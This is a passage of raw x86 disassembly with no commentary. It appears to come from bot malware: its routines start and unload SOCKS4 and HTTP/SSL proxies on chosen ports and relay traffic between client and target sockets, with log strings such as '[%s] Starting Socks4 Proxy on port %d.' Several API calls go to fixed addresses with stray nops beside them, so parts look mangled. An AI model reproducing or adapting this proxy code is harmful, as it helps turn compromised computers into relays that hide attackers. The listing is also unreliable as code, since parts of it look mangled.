		mov	eax, [ebp+0BBh]
		push	eax
		nop
		call	near ptr 71AB9639h
		mov	[ebp+0BBh], esi


loc_42A599:				; CODE XREF: ___:0042A584j
		mov	al, [esp+11h]
		test	al, al
		jz	short loc_42A5B4
		mov	ecx, [ebp+0BFh]
		push	ecx
		nop
		call	near ptr 71AB9639h
		mov	[ebp+0BFh], esi


loc_42A5B4:				; CODE XREF: ___:0042A59Fj
					; ___:0042A805j
		mov	ecx, [esp+5498h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 5494h
		retn
; ---------------------------------------------------------------------------


loc_42A5CD:				; CODE XREF: ___:004299BAj
		lea	ecx, [esp+60h]
		mov	byte ptr [esp+54A0h], 0Ch
		call	sub_401226


loc_42A5DE:				; CODE XREF: ___:00429987j
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226


loc_42A5EF:				; CODE XREF: ___:00429741j
					; ___:0042975Aj ...
		lea	ecx, [esp+30h]
		mov	byte ptr [esp+54A0h], 1
		call	sub_401226


loc_42A600:				; CODE XREF: ___:00429635j
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+54A0h], 0
		call	sub_401226
		lea	ecx, [esp+0B8h]
		mov	[esp+54A0h], esi
		call	sub_4014BA
		jmp	loc_42A57C
; ---------------------------------------------------------------------------


loc_42A629:				; CODE XREF: ___:00429AB3j
		mov	eax, [ebp+0BBh]
		push	eax
		call	near ptr 71AB9639h
		nop
		jmp	loc_42A79A
; ---------------------------------------------------------------------------


loc_42A63B:				; CODE XREF: ___:00429BF4j
		lea	ecx, [esp+0CDh]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+18h]
		push	offset aHttp1_0503Serv ; "HTTP/1.0 503 Service Unavailable\r\nServe"...
		push	ecx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+14h]
		push	0
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+1Ch]
		call	sub_4017EE
		mov	edx, [ebp+0BBh]
		push	eax
		push	edx
		call	near ptr 71AB428Ah
		nop
		mov	eax, [ebp+0BBh]
		mov	esi, dword_511C9C
		push	eax
		call	esi	; closesocket
		mov	ecx, [ebp+0BFh]
		push	ecx
		jmp	loc_42A798
; ---------------------------------------------------------------------------


loc_42A698:				; CODE XREF: ___:00429C10j
		mov	edx, [esp+10Ch]
		lea	ecx, [esp+0CDh]
		push	edx
		call	sub_4017EE
		push	eax
		lea	eax, [esp+1Ch]
		push	offset aHttp1_0503Se_0 ; "HTTP/1.0 503 Service Unavailable\r\nServe"...
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+14h]
		push	0
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+1Ch]
		call	sub_4017EE
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah


loc_42A6E2:				; CODE XREF: ___:00429CC1j
					; ___:00429CC9j
		mov	edx, [ebp+0BBh]
		mov	esi, dword_511C9C
		push	edx
		call	esi	; closesocket
		mov	eax, [ebp+0BFh]
		push	eax
		jmp	loc_42A798
; ---------------------------------------------------------------------------


loc_42A6FD:				; CODE XREF: ___:00429B9Ej
		mov	ecx, [ebp+0BBh]
		push	ecx
		call	near ptr 71AB9639h
		nop
		jmp	loc_42A79A
; ---------------------------------------------------------------------------


loc_42A70F:				; CODE XREF: ___:00429CEFj
		lea	ecx, [esp+88h]
		mov	byte ptr [esp+54A0h], 0Dh
		call	sub_401226
		lea	ecx, [esp+60h]
		mov	byte ptr [esp+54A0h], 0Ch
		call	sub_401226
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		lea	ecx, [esp+30h]
		mov	byte ptr [esp+54A0h], 1
		call	sub_401226
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+54A0h], 0
		call	sub_401226
		lea	ecx, [esp+0B8h]
		mov	[esp+54A0h], ebx
		call	sub_4014BA
		or	esi, 0FFFFFFFFh
		jmp	loc_42A57C
; ---------------------------------------------------------------------------


loc_42A782:				; CODE XREF: ___:0042A2F5j
					; ___:0042A2FDj
		mov	ecx, [ebp+0BBh]
		mov	esi, dword_511C9C
		push	ecx
		call	esi	; closesocket
		mov	edx, [ebp+0BFh]
		push	edx


loc_42A798:				; CODE XREF: ___:0042A693j
					; ___:0042A6F8j
		call	esi	; closesocket


loc_42A79A:				; CODE XREF: ___:0042A636j
					; ___:0042A70Aj
		lea	ecx, [esp+88h]
		mov	byte ptr [esp+54A0h], 0Dh
		call	sub_401226
		lea	ecx, [esp+60h]
		mov	byte ptr [esp+54A0h], 0Ch
		call	sub_401226
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		lea	ecx, [esp+30h]
		mov	byte ptr [esp+54A0h], 1
		call	sub_401226
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+54A0h], 0
		call	sub_401226
		lea	ecx, [esp+0B8h]
		mov	[esp+54A0h], ebx
		call	sub_4014BA
		jmp	loc_42A5B4
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 4A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42ACB0	proc near		; CODE XREF: sub_4018EDj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42ACB0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401FA0
		push	offset aHttp_0	; "HTTP"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F15C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42ACB0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42AD20:				; CODE XREF: ___:loc_40112Cj
					; ___:0040128Fj
		push	esi
		mov	esi, ecx
		call	sub_402126
		test	byte ptr [esp+8], 1
		jz	short loc_42AD38
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42AD38:				; CODE XREF: ___:0042AD2Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42AD50	proc near		; CODE XREF: sub_402126j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+9Eh]
		mov	dword ptr [esi], offset	off_43F15C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42AD6B
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42AD6B:				; CODE XREF: sub_42AD50+12j
		mov	ecx, esi
		call	sub_4017A8
		pop	esi
		retn
sub_42AD50	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42AD90	proc near		; CODE XREF: sub_4010E1j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42AD90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	edi
		mov	edi, ecx
		mov	dword ptr [edi+9Eh], 0FFFFFFFFh


loc_42ADB3:				; CODE XREF: sub_42AD90+48j
		mov	eax, [edi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	short loc_42ADDA
		mov	ecx, [edi+3Bh]
		push	ecx
		call	sub_40198D
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		mov	[edi+9Eh], eax
		jz	short loc_42ADB3


loc_42ADDA:				; CODE XREF: sub_42AD90+31j
		mov	edx, [edi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_42AEAC
		push	ebp
		push	esi


loc_42ADF0:				; CODE XREF: sub_42AD90+114j
		mov	eax, [edi+9Eh]
		push	eax
		call	sub_4012DF
		mov	ebp, eax
		add	esp, 4
		cmp	ebp, 0FFFFFFFFh
		jz	loc_42AE8B
		test	ebp, ebp
		jz	short loc_42AE8B
		push	0C3h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+1Ch+var_10], eax
		test	eax, eax
		mov	[esp+1Ch+var_4], 0
		jz	short loc_42AE36
		mov	ecx, eax
		call	sub_401893
		mov	esi, eax
		jmp	short loc_42AE38
; ---------------------------------------------------------------------------


loc_42AE36:				; CODE XREF: sub_42AD90+99j
		xor	esi, esi


loc_42AE38:				; CODE XREF: sub_42AD90+A4j
		mov	ecx, [edi+99h]
		mov	[esi+9Dh], edi
		mov	[esi+99h], ecx
		mov	edx, [edi+3Bh]
		lea	eax, [edi+26h]
		lea	ecx, [esi+26h]
		push	eax
		mov	[esp+20h+var_4], 0FFFFFFFFh
		mov	[esi+3Bh], edx
		mov	[esi+0BBh], ebp
		call	sub_401FDC
		mov	cl, [edi+97h]
		mov	[esi+97h], cl
		mov	dl, [edi+98h]
		mov	ecx, esi
		mov	[esi+98h], dl
		call	sub_4013DE
		jmp	short loc_42AE96
; ---------------------------------------------------------------------------


loc_42AE8B:				; CODE XREF: sub_42AD90+74j
					; sub_42AD90+7Cj
		push	0FAh
		nop
		call	near ptr 2850369h


loc_42AE96:				; CODE XREF: sub_42AD90+F9j
		mov	eax, [edi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jnz	loc_42ADF0
		pop	esi
		pop	ebp


loc_42AEAC:				; CODE XREF: sub_42AD90+58j
		mov	edi, [edi+9Eh]
		cmp	edi, 0FFFFFFFFh
		jz	short loc_42AEBE
		push	edi
		nop
		call	near ptr 71AB9639h


loc_42AEBE:				; CODE XREF: sub_42AD90+125j
		mov	ecx, [esp+14h+var_C]
		pop	edi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42AD90	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42AF20	proc near		; CODE XREF: sub_40137Aj
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	al, [esi+9Dh]
		lea	edi, [esi+11h]
		test	al, al
		mov	eax, [esi+3Bh]
		lea	ebx, [esi+26h]
		push	eax
		mov	ecx, edi
		jz	short loc_42AF48
		call	sub_4017EE
		push	eax
		push	offset aSStartingProxy ; "[%s] Starting	proxy on %d with SSL."
		jmp	short loc_42AF53
; ---------------------------------------------------------------------------


loc_42AF48:				; CODE XREF: sub_42AF20+19j
		call	sub_4017EE
		push	eax
		push	offset aSStartingPro_0 ; "[%s] Starting	proxy on port %d."


loc_42AF53:				; CODE XREF: sub_42AF20+26j
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch
		mov	ecx, esi
		call	sub_4010E1
		mov	eax, [esi+3Bh]
		mov	ecx, edi
		push	eax
		call	sub_4017EE
		push	eax
		push	offset aSUnloadedProxy ; "[%s] Unloaded	proxy on port %d."
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42AF20	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42AFF0	proc near		; CODE XREF: sub_40213Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42AFF0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401FA0
		push	offset aSocks4	; "Socks4"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F16C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42AFF0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42B060:				; CODE XREF: ___:0040187Fj
					; ___:loc_401B18j
		push	esi
		mov	esi, ecx
		call	sub_401FA5
		test	byte ptr [esp+8], 1
		jz	short loc_42B078
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42B078:				; CODE XREF: ___:0042B06Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42B090	proc near		; CODE XREF: sub_401FA5j
		jmp	sub_4017A8
sub_42B090	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B0B0	proc near		; CODE XREF: sub_4010AFj

var_81D		= byte ptr -81Dh
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= dword	ptr -814h
var_810		= dword	ptr -810h
var_80C		= dword	ptr -80Ch
var_808		= byte ptr -808h
var_807		= byte ptr -807h
var_806		= word ptr -806h
var_804		= dword	ptr -804h
var_800		= byte ptr -800h
var_400		= byte ptr -400h

		sub	esp, 820h
		lea	eax, [esp+820h+var_81D]
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_511CA4
		mov	ebp, ecx
		push	edi
		push	0
		push	1
		mov	ecx, [ebp+0A1h]
		push	eax
		push	ecx
		call	esi	; recv
		cmp	eax, 1
		jge	short loc_42B0F1
		mov	edx, [ebp+0A1h]
		push	edx
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_42B0F1:				; CODE XREF: sub_42B0B0+27j
		cmp	[esp+830h+var_81D], 4
		jnz	loc_42B2DC
		mov	ecx, [ebp+0A1h]
		push	0
		lea	eax, [esp+834h+var_807]
		push	406h
		push	eax
		push	ecx
		call	esi	; recv
		cmp	eax, 1
		jge	short loc_42B12E
		mov	edx, [ebp+0A1h]
		push	edx
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_42B12E:				; CODE XREF: sub_42B0B0+64j
		cmp	[esp+830h+var_807], 1
		jnz	loc_42B2DC
		mov	cx, [esp+830h+var_806]
		mov	edx, [esp+830h+var_804]
		xor	eax, eax
		push	6
		mov	[esp+834h+var_818], eax
		push	1
		mov	[esp+838h+var_814], eax
		push	2
		mov	[esp+83Ch+var_810], eax
		mov	word ptr [esp+83Ch+var_818], 2
		mov	[esp+83Ch+var_80C], eax
		mov	word ptr [esp+83Ch+var_818+2], cx
		mov	[esp+83Ch+var_814], edx
		call	near ptr 71AB3B91h
		nop
		mov	ebx, eax
		lea	eax, [esp+830h+var_818]
		push	10h
		push	eax
		push	ebx
		call	near ptr 71AB406Ah
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esp+830h+var_808], 0
		jnz	short loc_42B1C9
		mov	edx, [ebp+0A1h]
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+830h+var_800]
		mov	[esp+830h+var_807], 5Bh
		push	eax
		rep stosd
		lea	ecx, [esp+834h+var_808]
		push	8
		push	ecx
		push	edx
		call	near ptr 71AB428Ah
		nop
		mov	eax, [ebp+0A1h]
		push	eax
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_42B1C9:				; CODE XREF: sub_42B0B0+D8j
		mov	edx, [ebp+0A1h]
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+830h+var_800]
		mov	[esp+830h+var_807], 5Ah
		push	eax
		rep stosd
		lea	ecx, [esp+834h+var_808]
		push	8
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		mov	ecx, [ebp+0A1h]
		mov	esi, dword_511CAC
		lea	eax, [esp+830h+var_81C]
		mov	[esp+830h+var_81C], 1
		push	eax
		push	8004667Eh
		push	ecx
		call	esi	; ioctlsocket
		lea	edx, [esp+830h+var_81C]
		mov	[esp+830h+var_81C], 1
		push	edx
		push	8004667Eh
		push	ebx
		call	esi	; ioctlsocket


loc_42B226:				; CODE XREF: sub_42B0B0+1AFj
					; sub_42B0B0+1FEj ...
		mov	edi, dword_511CA4
		push	0
		lea	eax, [esp+834h+var_400]
		push	400h
		push	eax
		push	ebx
		call	edi	; recv
		mov	esi, eax
		test	esi, esi
		jz	loc_42B2CA
		jge	short loc_42B261
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jz	short loc_42B261
		push	0Ah
		call	near ptr 2850369h
		nop
		jmp	short loc_42B226
; ---------------------------------------------------------------------------


loc_42B261:				; CODE XREF: sub_42B0B0+198j
					; sub_42B0B0+1A5j
		mov	edx, [ebp+0A1h]
		push	0
		lea	ecx, [esp+834h+var_400]
		push	esi
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		mov	ecx, [ebp+0A1h]
		push	0
		lea	eax, [esp+834h+var_400]
		push	400h
		push	eax
		push	ecx
		call	edi	; recv
		mov	esi, eax
		test	esi, esi
		jz	short loc_42B2CA
		jge	short loc_42B2B3
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jz	short loc_42B2B3
		push	0Ah
		nop
		call	near ptr 2850369h
		jmp	loc_42B226
; ---------------------------------------------------------------------------


loc_42B2B3:				; CODE XREF: sub_42B0B0+1E7j
					; sub_42B0B0+1F4j
		push	0
		lea	edx, [esp+834h+var_400]
		push	esi
		push	edx
		push	ebx
		nop
		call	near ptr 71AB428Ah
		jmp	loc_42B226
; ---------------------------------------------------------------------------


loc_42B2CA:				; CODE XREF: sub_42B0B0+192j
					; sub_42B0B0+1E5j
		mov	eax, [ebp+0A1h]
		mov	esi, dword_511C9C
		push	eax
		call	esi	; closesocket
		push	ebx
		call	esi	; closesocket


loc_42B2DC:				; CODE XREF: sub_42B0B0+46j
					; sub_42B0B0+83j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
sub_42B0B0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B380	proc near		; CODE XREF: sub_40218Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42B380
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401FA0
		push	offset aSocks4	; "Socks4"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F17C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42B380	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B3F0	proc near		; CODE XREF: ___:00401032j sub_4017B2j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401C4E
		test	[esp+4+arg_0], 1
		jz	short loc_42B408
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42B408:				; CODE XREF: sub_42B3F0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42B3F0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42B420	proc near		; CODE XREF: sub_401C4Ej
		jmp	sub_4017A8
sub_42B420	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B440	proc near		; CODE XREF: sub_40189Dj

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_42B440
		push	eax
		mov	large fs:0, esp
		sub	esp, 28h
		push	ebx
		push	esi
		mov	esi, ecx
		mov	eax, [esi+3Bh]
		lea	ecx, [esi+11h]
		push	eax
		lea	ebx, [esi+26h]
		call	sub_4017EE
		push	eax
		push	offset aSStartingSocks ; "[%s] Starting	Socks4 Proxy on	port %d."
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esi+9Dh], eax
		jz	loc_42B649
		mov	cx, [esi+3Bh]
		xor	eax, eax
		mov	[esp+3Ch+var_2C], eax
		push	ecx
		mov	[esp+40h+var_28], eax
		mov	word ptr [esp+40h+var_2C], 2
		mov	[esp+40h+var_24], eax
		mov	[esp+40h+var_20], eax
		call	near ptr 71AB2B66h
		nop
		mov	word ptr [esp+3Ch+var_2C+2], ax
		mov	eax, [esi+9Dh]
		lea	edx, [esp+3Ch+var_2C]
		push	10h
		push	edx
		push	eax
		mov	[esp+48h+var_34], 10h
		call	near ptr 71AB3E00h
		nop
		test	eax, eax
		jz	short loc_42B516
		mov	ecx, [esi+9Dh]
		push	ecx
		call	near ptr 71AB9639h
		nop
		pop	esi
		pop	ebx
		mov	ecx, [esp+34h+var_C]
		mov	large fs:0, ecx
		add	esp, 34h
		retn
; ---------------------------------------------------------------------------


loc_42B516:				; CODE XREF: sub_42B440+B6j
		mov	edx, [esi+99h]
		push	ebp
		push	edi
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_42B600


loc_42B52C:				; CODE XREF: sub_42B440+1BAj
		mov	eax, [esi+9Dh]
		push	0Ah
		push	eax
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42B550
		push	0FAh
		nop
		call	near ptr 2850369h
		jmp	loc_42B5EC
; ---------------------------------------------------------------------------


loc_42B550:				; CODE XREF: sub_42B440+FEj
		mov	eax, [esi+9Dh]
		lea	ecx, [esp+40h+var_30]
		lea	edx, [esp+40h+var_18]
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AC1028h
		mov	ebp, eax
		cmp	ebp, 0FFFFFFFFh
		jz	loc_42B600
		xor	edi, edi
		cmp	ebp, edi
		jz	loc_42B600
		push	0A5h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+44h+var_30], eax
		cmp	eax, edi
		mov	[esp+44h+var_4], edi
		jz	short loc_42B59E
		mov	ecx, eax
		call	sub_40213A
		mov	edi, eax


loc_42B59E:				; CODE XREF: sub_42B440+153j
		mov	ecx, [esi+99h]
		mov	[edi+9Dh], esi
		mov	[edi+99h], ecx
		mov	edx, [esi+3Bh]
		push	ebx
		lea	ecx, [edi+26h]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		mov	[edi+3Bh], edx
		mov	[edi+0A1h], ebp
		call	sub_401FDC
		mov	al, [esi+97h]
		mov	[edi+97h], al
		mov	cl, [esi+98h]
		mov	[edi+98h], cl
		mov	ecx, edi
		call	sub_4013DE


loc_42B5EC:				; CODE XREF: sub_42B440+10Bj
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jnz	loc_42B52C


loc_42B600:				; CODE XREF: sub_42B440+E6j
					; sub_42B440+12Cj ...
		mov	eax, [esi+9Dh]
		pop	edi
		cmp	eax, 0FFFFFFFFh
		pop	ebp
		jz	short loc_42B614
		push	eax
		call	near ptr 71AB9639h
		nop


loc_42B614:				; CODE XREF: sub_42B440+1CBj
		mov	eax, [esi+3Bh]
		lea	ecx, [esi+11h]
		push	eax
		call	sub_4017EE
		push	eax
		push	offset aSUnloadedPro_0 ; "[%s] Unloaded	proxy on %d."
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch


loc_42B649:				; CODE XREF: sub_42B440+69j
		mov	ecx, [esp+3Ch+var_C]
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 34h
		retn
sub_42B440	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B6F0	proc near		; CODE XREF: sub_401758j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		nop
		call	near ptr 71AB4FD4h
		test	eax, eax
		jz	short loc_42B711
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	ecx, [esp+arg_4]
		mov	eax, [edx]
		mov	[ecx], eax
		mov	al, 1
		retn	8
; ---------------------------------------------------------------------------


loc_42B711:				; CODE XREF: sub_42B6F0+Dj
		xor	al, al
		retn	8
sub_42B6F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B730	proc near		; CODE XREF: sub_4020E0j

var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_400		= byte ptr -400h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 50Ch
		push	ebx
		mov	ebx, [esp+510h+arg_4]
		push	ebp
		push	esi
		push	edi
		mov	[esp+51Ch+var_50C], 0
		mov	[esp+51Ch+var_508], 0


loc_42B751:				; CODE XREF: sub_42B730+12Cj
		mov	ebp, [esp+51Ch+arg_0]
		mov	[esp+51Ch+var_504], 1
		mov	[esp+51Ch+var_500], ebp
		xor	eax, eax
		lea	ecx, [esp+51Ch+var_500]


loc_42B76A:				; CODE XREF: sub_42B730+45j
		cmp	[ecx], ebx
		jz	short loc_42B777
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_42B76A


loc_42B777:				; CODE XREF: sub_42B730+3Cj
		cmp	eax, 1
		jnz	short loc_42B788
		mov	[esp+51Ch+var_4FC], ebx
		mov	[esp+51Ch+var_504], 2


loc_42B788:				; CODE XREF: sub_42B730+4Aj
		lea	eax, [esp+51Ch+var_50C]
		lea	ecx, [esp+51Ch+var_504]
		push	eax
		push	0
		push	0
		push	ecx
		push	2
		call	near ptr 71AB2DC0h
		nop
		test	eax, eax
		jbe	short loc_42B813
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B813
		lea	edx, [esp+51Ch+var_504]
		push	edx
		push	ebp
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_42B7BC
		mov	eax, ebp
		mov	ebp, ebx
		jmp	short loc_42B7BE
; ---------------------------------------------------------------------------


loc_42B7BC:				; CODE XREF: sub_42B730+84j
		mov	eax, ebx


loc_42B7BE:				; CODE XREF: sub_42B730+8Aj
		push	0
		lea	ecx, [esp+520h+var_400]
		push	3FFh
		push	ecx
		push	eax
		nop
		call	near ptr 71AB615Ah
		mov	edi, eax
		xor	esi, esi
		cmp	edi, 0FFFFFFFFh
		mov	[esp+edi+51Ch+var_400],	0
		jz	short loc_42B862
		test	edi, edi
		jz	short loc_42B862
		jbe	short loc_42B80C


loc_42B7EB:				; CODE XREF: sub_42B730+DAj
		mov	edx, edi
		push	0
		sub	edx, esi
		lea	eax, [esp+esi+520h+var_400]
		push	edx
		push	eax
		push	ebp
		nop
		call	near ptr 71AB428Ah
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B862
		add	esi, eax
		cmp	esi, edi
		jb	short loc_42B7EB


loc_42B80C:				; CODE XREF: sub_42B730+B9j
		mov	ebp, [esp+51Ch+arg_0]


loc_42B813:				; CODE XREF: sub_42B730+70j
					; sub_42B730+75j
		mov	[esp+51Ch+var_500], ebp
		mov	[esp+51Ch+var_504], 1
		xor	eax, eax
		lea	ecx, [esp+51Ch+var_500]


loc_42B825:				; CODE XREF: sub_42B730+100j
		cmp	[ecx], ebx
		jz	short loc_42B832
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_42B825


loc_42B832:				; CODE XREF: sub_42B730+F7j
		cmp	eax, 1
		jnz	short loc_42B844
		mov	[esp+eax*4+51Ch+var_500], ebx
		mov	eax, [esp+51Ch+var_504]
		inc	eax
		mov	[esp+51Ch+var_504], eax


loc_42B844:				; CODE XREF: sub_42B730+105j
		lea	ecx, [esp+51Ch+var_50C]
		lea	edx, [esp+51Ch+var_504]
		push	ecx
		push	edx
		push	0
		push	0
		push	2
		call	near ptr 71AB2DC0h
		nop
		test	eax, eax
		jle	loc_42B751


loc_42B862:				; CODE XREF: sub_42B730+B3j
					; sub_42B730+B7j ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 50Ch
		retn	8
sub_42B730	endp

